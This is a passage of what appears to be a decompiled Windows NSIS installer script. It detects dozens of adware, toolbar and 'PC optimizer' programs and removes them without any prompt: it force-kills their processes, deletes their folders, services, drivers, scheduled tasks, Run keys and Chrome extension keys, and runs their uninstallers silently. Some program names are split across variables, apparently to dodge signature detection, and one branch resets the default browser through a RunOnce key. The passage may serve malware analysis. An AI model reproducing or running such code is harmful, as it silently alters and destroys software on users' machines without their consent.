IfFileExists "$PROGRAMFILES\Quick Weather Updates" 0 label_14779
RMDir /r /REBOOTOK "$PROGRAMFILES\Quick Weather Updates"
label_14779:
IfFileExists $PROGRAMFILES\RelayDouble 0 label_14781
RMDir /r /REBOOTOK $PROGRAMFILES\RelayDouble
label_14781:
FunctionEnd
Function func_14782
SetShellVarContext current
IfFileExists $PROGRAMFILES\HomeTab 0 label_14788
RMDir /r /REBOOTOK $PROGRAMFILES\HomeTab
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kmedakdfngfmagjlndeckcbfcmidlbio
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fcljdicbcnmfhekdcaobgbpjjifniemh
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\coljhboelhlkbgaaolcngflenaggpeao
label_14788:
IfFileExists $APPDATA\SimplyTech 0 label_14790
RMDir /r /REBOOTOK $APPDATA\SimplyTech
label_14790:
IfFileExists $APPDATA\VooUpdate 0 label_14792
RMDir /r /REBOOTOK $APPDATA\VooUpdate
label_14792:
IfFileExists $PROGRAMFILES\AnySend 0 label_14794
RMDir /r /REBOOTOK $PROGRAMFILES\AnySend
label_14794:
IfFileExists "$PROGRAMFILES\AnvSoft Web FLV Player Free" 0 label_14796
RMDir /r /REBOOTOK "$PROGRAMFILES\AnvSoft Web FLV Player Free"
label_14796:
IfFileExists "$PROGRAMFILES\sun king\sun_king_notification_service.exe" 0 label_14808
nsExec::Exec "cmd /k taskkill /IM sun_king_notification_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM sun_king_notification_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM sun_king_updating_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM sun_king_updating_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\sun king"
label_14808:
IfFileExists "$PROGRAMFILES\Csrss Updater\runner.exe" 0 label_14816
nsExec::Exec "cmd /k taskkill /IM runner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM runner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Installer
RMDir /r /REBOOTOK "$PROGRAMFILES\Csrss Updater"
label_14816:
IfFileExists $PROGRAMFILES\onlysearch\onlysearch\1.3.22.1\onlysearch.exe 0 label_14824
nsExec::Exec "cmd /k taskkill /IM onlysearch.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM onlysearch.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Only-search
RMDir /r /REBOOTOK $PROGRAMFILES\onlysearch
label_14824:
IfFileExists $PROGRAMFILES\OLBPre\OLBPre.exe 0 label_14832
StrCpy $0 OLBP
nsExec::Exec "cmd /k taskkill /IM $0re.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $0re.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$0re
label_14832:
IfFileExists $PROGRAMFILES\Uniblue\SpeedUpMyPC\speedupmypc.exe 0 label_14840
StrCpy $1 eedupm
nsExec::Exec "cmd /k taskkill /IM sp$1ypc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM sp$1ypc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Uniblue
label_14840:
IfFileExists $PROGRAMFILES\ClickCaption* 0 label_14874
StrCpy $0 0
label_14842:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_14874
IntOp $0 $0 + 1
ClearErrors
Push $1
Push ClickCaption
Call :label_405
Pop $R3
IfErrors label_14842
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ccsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ccnfd_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ccnfd_$3.sys 0 label_14866
Delete /REBOOTOK $SYSDIR\drivers\ccnfd_$3.sys
label_14866:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ccnfd_$3.sys 0 label_14873
Delete /REBOOTOK $SYSDIR\drivers\ccnfd_$3.sys
label_14873:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14874:
IfFileExists $PROGRAMFILES\QuickRef* 0 label_14908
StrCpy $0 0
label_14876:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_14908
IntOp $0 $0 + 1
ClearErrors
Push $1
Push QuickRef
Call :label_405
Pop $R3
IfErrors label_14876
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\qrnfd_$3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\qrsvc_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\qrnfd_$3.sys 0 label_14900
Delete /REBOOTOK $SYSDIR\drivers\qrnfd_$3.sys
label_14900:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\qrnfd_$3.sys 0 label_14907
Delete /REBOOTOK $SYSDIR\drivers\qrnfd_$3.sys
label_14907:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14908:
IfFileExists $PROGRAMFILES\WordProser* 0 label_14942
StrCpy $0 0
label_14910:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_14942
IntOp $0 $0 + 1
ClearErrors
Push $1
Push WordProser
Call :label_405
Pop $R3
IfErrors label_14910
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wpsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\wpnfd_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wpnfd_$3.sys 0 label_14934
Delete /REBOOTOK $SYSDIR\drivers\wpnfd_$3.sys
label_14934:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\wpnfd_$3.sys 0 label_14941
Delete /REBOOTOK $SYSDIR\drivers\wpnfd_$3.sys
label_14941:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14942:
IfFileExists $LOCALAPPDATA\Yandex\Elements 0 label_14950
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run YandexElements
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\cncgohepihcekklokhbhiblhfcmipbdh
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\gehngeifmelphpllncobkmimphfkckne
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\pchfckkccldkbclgdepkaonamkignanh
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\aminlpmkfcdibgpgfajlgnamicjckkjf
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jdkihdhlegcdggknokfekoemkjjnjhgi
RMDir /r /REBOOTOK $LOCALAPPDATA\Yandex\Elements
label_14950:
IfFileExists $LOCALAPPDATA\Yandex\Updater2 0 label_14952
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Browser Manager"
label_14952:
IfFileExists $LOCALAPPDATA\SmartWeb\SmartWebHelper.exe 0 label_14956
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run SmartWeb
Delete /REBOOTOK $SMSTARTUP\SmartWeb.lnk
RMDir /r /REBOOTOK $LOCALAPPDATA\SmartWeb
label_14956:
IfFileExists $LOCALAPPDATA\Kometa\Panel 0 label_14970
StrCpy $1 Kometa
nsExec::Exec "cmd /k taskkill /IM $1LaunchPanel.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $1LaunchPanel.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
IfFileExists $PROGRAMFILES\Google\Chrome\Application\chrome.exe 0 label_14966
WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ChromeDefaultBr "$\"$PROGRAMFILES\Google\Chrome\Application\chrome.exe$\" --make-default-browser"
Goto label_14968
label_14966:
IfFileExists $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe 0 label_14968
WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce YandexDefaultBr "$\"$LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe$\" --make-default-browser"
label_14968:
Sleep 1000
RMDir /r /REBOOTOK $LOCALAPPDATA\Kometa\Panel
label_14970:
IfFileExists $APPDATA\newSI* 0 label_14984
nsExec::Exec "cmd /k taskkill /IM s_inst.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM s_inst.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\newSI*
label_14978:
StrCmp $R1 "" label_14983
IfFileExists $APPDATA\$R1 0 label_14981
RMDir /r /REBOOTOK $APPDATA\$R1
label_14981:
FindNext $0 $R1
Goto label_14978
label_14983:
FindClose $0
label_14984:
IfFileExists $APPDATA\WinDiagnosis 0 label_14986
RMDir /r /REBOOTOK $APPDATA\WinDiagnosis
label_14986:
IfFileExists $LOCALAPPDATA\extensions\runvbs 0 label_14988
RMDir /r /REBOOTOK $LOCALAPPDATA\extensions
label_14988:
IfFileExists "$PROGRAMFILES\I Like It Extension" 0 label_14990
RMDir /r /REBOOTOK "$PROGRAMFILES\I Like It Extension"
label_14990:
IfFileExists $TEMP\fr2mas1le 0 label_14992
RMDir /r /REBOOTOK $TEMP\fr2mas1le
label_14992:
IfFileExists $LOCALAPPDATA\extension\ChromeExtensionUpdater.exe 0 label_14994
Delete /REBOOTOK $LOCALAPPDATA\extension\ChromeExtensionUpdater.exe
label_14994:
IfFileExists $LOCALAPPDATA\Win_update 0 label_14997
Call func_635
RMDir /r /REBOOTOK $LOCALAPPDATA\Win_update
label_14997:
IfFileExists $LOCALAPPDATA\win_updatez 0 label_15000
Call func_653
RMDir /r /REBOOTOK $LOCALAPPDATA\win_updatez
label_15000:
IfFileExists $APPDATA\extension\ChromeExtensionUpdater.exe 0 label_15002
Delete /REBOOTOK $APPDATA\extension\ChromeExtensionUpdater.exe
label_15002:
IfFileExists "$PROGRAMFILES\Àóäèî è âèäåî ñêà÷èâàíèå" 0 label_15004
RMDir /r /REBOOTOK "$PROGRAMFILES\Àóäèî è âèäåî ñêà÷èâàíèå"
label_15004:
IfFileExists "$LOCALAPPDATA\Àóäèî è âèäåî ñêà÷èâàíèå" 0 label_15006
RMDir /r /REBOOTOK "$LOCALAPPDATA\Àóäèî è âèäåî ñêà÷èâàíèå"
label_15006:
IfFileExists $PROGRAMFILES\SearchSnacks 0 label_15008
RMDir /r /REBOOTOK $PROGRAMFILES\SearchSnacks
label_15008:
IfFileExists $LOCALAPPDATA\screentk 0 label_15010
RMDir /r /REBOOTOK $LOCALAPPDATA\screentk
label_15010:
IfFileExists $APPDATA\istartsurf 0 label_15012
RMDir /r /REBOOTOK $APPDATA\istartsurf
label_15012:
IfFileExists $TEMP\amisetup* 0 label_15014
Delete /REBOOTOK $TEMP\amisetup*
label_15014:
IfFileExists $TEMP\Launcher__* 0 label_15016
Delete /REBOOTOK $TEMP\Launcher__*
label_15016:
IfFileExists $PROGRAMFILES\WebBars 0 label_15018
RMDir /r /REBOOTOK $PROGRAMFILES\WebBars
label_15018:
IfFileExists $PROGRAMFILES\DoubleOptMedia 0 label_15020
RMDir /r /REBOOTOK $PROGRAMFILES\DoubleOptMedia
label_15020:
IfFileExists $PROGRAMFILES\tooldev342\Weatherbar 0 label_15022
RMDir /r /REBOOTOK $PROGRAMFILES\tooldev342\Weatherbar
label_15022:
IfFileExists $PROGRAMFILES64\tooldev342\Weatherbar 0 label_15024
RMDir /r /REBOOTOK $PROGRAMFILES64\tooldev342\Weatherbar
label_15024:
IfFileExists "$PROGRAMFILES\Media Saver" 0 label_15034
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MSLSService
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for Media Saver"
nsExec::Exec "cmd /k taskkill /IM ExtensionUpdaterService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ExtensionUpdaterService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 3000
RMDir /r /REBOOTOK "$PROGRAMFILES\Media Saver"
label_15034:
IfFileExists $PROGRAMFILES\VKSmile 0 label_15036
RMDir /r /REBOOTOK $PROGRAMFILES\VKSmile
label_15036:
IfFileExists "$PROGRAMFILES\VK Downloader" 0 label_15059
StrCpy $0 ""
FindFirst $0 $R1 "$PROGRAMFILES\VK Downloader\*.exe"
label_15039:
StrCmp $R1 "" label_15047
nsExec::Exec "cmd /k taskkill /IM $R1 /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1 /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $0 $R1
Goto label_15039
label_15047:
FindClose $0
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK Downloader2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for VK Downloader2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK Downloader$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for VK Downloader$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\VK Downloader"
label_15059:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb $0
IfErrors label_15063
DeleteRegKey HKCU Software\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb
label_15063:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb $0
IfErrors label_15067
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb
label_15067:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko $0
IfErrors label_15071
DeleteRegKey HKCU Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko
label_15071:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko $0
IfErrors label_15075
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko
label_15075:
IfFileExists $APPDATA\bafhhmlkbcigapgkfdgfikhkkaihpjjn 0 label_15077
RMDir /r /REBOOTOK $APPDATA\bafhhmlkbcigapgkfdgfikhkkaihpjjn
label_15077:
IfFileExists $PROGRAMFILES\DolkaRuIePlugin 0 label_15079
RMDir /r /REBOOTOK $PROGRAMFILES\DolkaRuIePlugin
label_15079:
IfFileExists $PROGRAMFILES\Zaxar 0 label_15104
StrCpy $0 ""
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Za$0xarGameBrowser
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Za$0xarLoader
nsExec::Exec "cmd /k taskkill /IM ZaxarLoader.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ZaxarLoader.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ZaxarGameBrowser.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ZaxarGameBrowser.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ZaxarSound.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ZaxarSound.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM timetasks.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM timetasks.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Zaxar
label_15104:
IfFileExists $PROGRAMFILES\GamesRS 0 label_15106
RMDir /r /REBOOTOK $PROGRAMFILES\GamesRS
label_15106:
IfFileExists $PROGRAMFILES\IObit 0 label_15141
nsExec::Exec "cmd /k taskkill /IM Monitor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Monitor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ASCService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ASCService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM LiveUpdate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LiveUpdate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ASCTray.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ASCTray.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ASC.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ASC.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Advanced SystemCare 8"
nsExec::ExecToStack "schtasks /delete /tn $\"ASC8_PerformanceMonitor$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"ASC8_PerformanceMonitor$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegKey HKLM SYSTEM\ControlSet001\services\AdvancedSystemCareService8
DeleteRegKey HKLM SYSTEM\ControlSet001\services\LiveUpdateSvc
RMDir /r /REBOOTOK $PROGRAMFILES\IObit
label_15141:
IfFileExists "$PROGRAMFILES64\Advanced PC Care" 0 label_15160
nsExec::Exec "cmd /k taskkill /IM advancedpccare.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM advancedpccare.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
IfFileExists "$PROGRAMFILES64\Advanced PC Care\unins000.exe" 0 label_15153
nsExec::Exec "cmd /k $\"start $\"$\" $\"$PROGRAMFILES64\Advanced PC Care\unins000.exe$\" /SILENT$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k $\"start $\"$\" $\"$PROGRAMFILES64\Advanced PC Care\unins000.exe$\" /SILENT$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_15153:
Sleep 5000
nsExec::ExecToStack "schtasks /delete /tn $\"Advanced PC Care_Logon$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Advanced PC Care_Logon$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES64\Advanced PC Care"
label_15160:
IfFileExists $PROGRAMFILES\SwiftSearch_* 0 label_15219
StrCpy $0 0
label_15162:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_15219
IntOp $0 $0 + 1
ClearErrors
Push $1
Push SwiftSearch_
Call :label_405
Pop $R3
IfErrors label_15162
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
nsExec::Exec "cmd /k net stop swsedrvr_vt_$3"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop swsedrvr_vt_$3"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop swsesrvc_$2"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop swsesrvc_$2"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM swsesrvc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM swsesrvc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM SwiftSearchAutoUpdateClient.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SwiftSearchAutoUpdateClient.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\swsedrvr_vt_$3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\swsesrvc_$2
IfFileExists $PROGRAMFILES\$1 0 label_15201
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_15201:
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\swsedrvr_vt_$3.sys 0 label_15208
Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vt_$3.sys
label_15208:
IfFileExists $SYSDIR\drivers\swsedrvr_vw_$3.sys 0 label_15210
Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vw_$3.sys
label_15210:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\swsedrvr_vt_$3.sys 0 label_15217
Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vt_$3.sys
label_15217:
IfFileExists $SYSDIR\drivers\swsedrvr_vw_$3.sys 0 label_15219
Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vw_$3.sys
label_15219:
IfFileExists $PROGRAMFILES\Note-up 0 label_15234
nsExec::Exec "cmd /k taskkill /IM Note-up.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Note-up.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
IfFileExists $PROGRAMFILES\Note-up\uninstall.exe 0 label_15231
nsExec::Exec "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Note-up\uninstall.exe$\" /S$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Note-up\uninstall.exe$\" /S$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_15231:
Sleep 5000
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Note-up
RMDir /r /REBOOTOK $PROGRAMFILES\Note-up
label_15234:
IfFileExists $APPDATA\NUIns\NUIns.exe 0 label_15241
nsExec::Exec "cmd /k taskkill /IM NUIns.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM NUIns.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\NUIns
label_15241:
IfFileExists $TEMP\task.vbs 0 label_15248
nsExec::ExecToStack "schtasks /delete /tn $\"amiupdaterExd$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"amiupdaterExd$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $TEMP\task.vbs
label_15248:
IfFileExists $TEMP\amiupdater* 0 label_15255
nsExec::ExecToStack "schtasks /delete /tn $\"amiupdaterExi$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"amiupdaterExi$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $TEMP\task.vbs
label_15255:
IfFileExists $PROGRAMFILES\filter 0 label_15279
IfFileExists $PROGRAMFILES\filter\start.vbs label_15259
IfFileExists $PROGRAMFILES\filter\1 label_15259
IfFileExists $PROGRAMFILES\filter\2 0 label_15279
label_15259:
nsExec::Exec "cmd /k taskkill /IM CppWindowsService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CppWindowsService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM PFHttpContentFilter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PFHttpContentFilter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM driver_installer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM driver_installer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\CppWindowsService
DeleteRegKey HKLM SYSTEM\ControlSet001\services\netfilter2
Delete /REBOOTOK $WINDIR\system32\drivers\netfilter2.sys
Delete /REBOOTOK $WINDIR\Sysnative\drivers\netfilter2.sys
